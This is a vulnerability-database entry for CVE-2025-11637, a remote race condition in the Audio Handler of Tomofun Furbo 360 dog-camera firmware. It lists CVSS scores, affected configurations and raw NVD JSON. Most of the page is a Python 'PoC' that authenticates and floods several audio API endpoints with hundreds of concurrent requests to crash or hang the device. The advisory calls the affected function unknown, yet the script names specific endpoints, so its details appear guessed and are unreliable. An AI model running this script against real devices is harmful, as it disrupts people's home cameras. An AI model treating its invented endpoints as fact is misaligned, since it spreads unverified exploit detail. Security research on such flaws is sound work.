Security Vulnerability Report
中文
CVE-2025-11637 CVSS 4.3 MEDIUM

CVE-2025-11637

Published: 2025-10-12 17:15:32
Last Modified: 2025-10-30 19:40:23

Description

A vulnerability was detected in Tomofun Furbo 360 up to FB0035_FW_036. Impacted is an unknown function of the component Audio Handler. Performing manipulation results in race condition. The attack is possible to be carried out remotely. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:furbo:furbo_360_dog_camera:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tomofun Furbo 360 ≤ FB0035_FW_036

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11637 - Tomofun Furbo 360 Audio Handler Race Condition PoC This PoC demonstrates a race condition exploit targeting the Audio Handler component of Tomofun Furbo 360 devices running firmware <= FB0035_FW_036. Author: Security Research Lab Disclaimer: For educational and authorized testing purposes only. """ import threading import requests import time import urllib3 from concurrent.futures import ThreadPoolExecutor, as_completed # Disable SSL warnings for self-signed certificates on IoT devices urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Target configuration TARGET_HOST = "192.168.1.100" # Furbo 360 device IP address TARGET_PORT = 443 # HTTPS port USERNAME = "user" # Low-privilege username PASSWORD = "password" # Low-privilege password NUM_THREADS = 50 # Number of concurrent threads NUM_REQUESTS = 500 # Total number of requests to send class FurboAudioRaceConditionExploit: """Exploit class for CVE-2025-11637 Audio Handler race condition""" def __init__(self, host, port, username, password): self.base_url = f"https://{host}:{port}" self.session = requests.Session() self.username = username self.password = password self.auth_token = None self.success_count = 0 self.error_count = 0 self.lock = threading.Lock() def authenticate(self): """Authenticate with the Furbo 360 device using low-privilege credentials""" login_url = f"{self.base_url}/api/auth/login" payload = { "username": self.username, "password": self.password } try: resp = self.session.post( login_url, json=payload, verify=False, timeout=10 ) if resp.status_code == 200: data = resp.json() self.auth_token = data.get("token") or data.get("access_token") if self.auth_token: self.session.headers.update({ "Authorization": f"Bearer {self.auth_token}" }) print("[+] Authentication successful") return True else: print(f"[-] Authentication failed: HTTP {resp.status_code}") except Exception as e: print(f"[-] Authentication error: {e}") return False def trigger_audio_handler_race(self, thread_id): """Send concurrent audio handler requests to trigger race condition""" # Target the Audio Handler component's vulnerable function audio_endpoints = [ f"{self.base_url}/api/audio/handler/process", f"{self.base_url}/api/audio/handler/stream", f"{self.base_url}/api/audio/handler/buffer", ] endpoint = audio_endpoints[thread_id % len(audio_endpoints)] payload = { "action": "process", "stream_id": f"race_stream_{thread_id}", "buffer_size": 4096, "sample_rate": 16000, "channels": 2, "timestamp": int(time.time() * 1000), "nonce": thread_id } try: resp = self.session.post( endpoint, json=payload, verify=False, timeout=5 ) with self.lock: if resp.status_code in (500, 503): self.error_count += 1 print(f"[!] Thread {thread_id}: Server error {resp.status_code} - " f"possible race condition triggered") return True elif resp.status_code == 200: self.success_count += 1 except requests.exceptions.Timeout: with self.lock: self.error_count += 1 print(f"[!] Thread {thread_id}: Timeout - audio handler may be unresponsive") return True except requests.exceptions.ConnectionError: with self.lock: self.error_count += 1 print(f"[!] Thread {thread_id}: Connection error - service may have crashed") return True except Exception as e: with self.lock: self.error_count += 1 print(f"[!] Thread {thread_id}: Error - {e}") return False def run_exploit(self): """Execute the race condition exploit against the Audio Handler""" print("=" * 60) print("CVE-2025-11637 - Furbo 360 Audio Handler Race Condition") print("=" * 60) print(f"[*] Target: {self.base_url}") print(f"[*] Threads: {NUM_THREADS}") print(f"[*] Requests: {NUM_REQUESTS}") print() if not self.authenticate(): print("[-] Cannot proceed without valid credentials") return False print(f"[*] Launching race condition attack...") print(f"[*] Sending {NUM_REQUESTS} concurrent requests to Audio Handler") print() race_triggered = False with ThreadPoolExecutor(max_workers=NUM_THREADS) as executor: futures = [ executor.submit(self.trigger_audio_handler_race, i) for i in range(NUM_REQUESTS) ] for future in as_completed(futures): if future.result(): race_triggered = True print() print("=" * 60) print("[+] Exploit completed") print(f"[*] Successful requests: {self.success_count}") print(f"[*] Error responses: {self.error_count}") if race_triggered: print("[!] Race condition likely triggered - check device audio functionality") else: print("[-] Race condition may not have been triggered") print("=" * 60) return race_triggered if __name__ == "__main__": exploit = FurboAudioRaceConditionExploit( TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD ) exploit.run_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11637", "sourceIdentifier": "[email protected]", "published": "2025-10-12T17:15:32.430", "lastModified": "2025-10-30T19:40:23.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in Tomofun Furbo 360 up to FB0035_FW_036. Impacted is an unknown function of the component Audio Handler. Performing manipulation results in race condition. The attack is possible to be carried out remotely. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:furbo:furbo_360_dog_camera_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "036", "matchCriteriaId": "6DDA1333-73CD-494A-8DD3-9543FDFD47A7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:furbo:furbo_360_dog_camera:-:*:*:*:*:*:*:*", "matchCriteriaId": "3844B8F5-1F63-456D-872C-125C4E1C7E53"}]}]}], "references": [{"url": "https://vuldb.com/?ctiid.328048", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.328048", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.661362", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}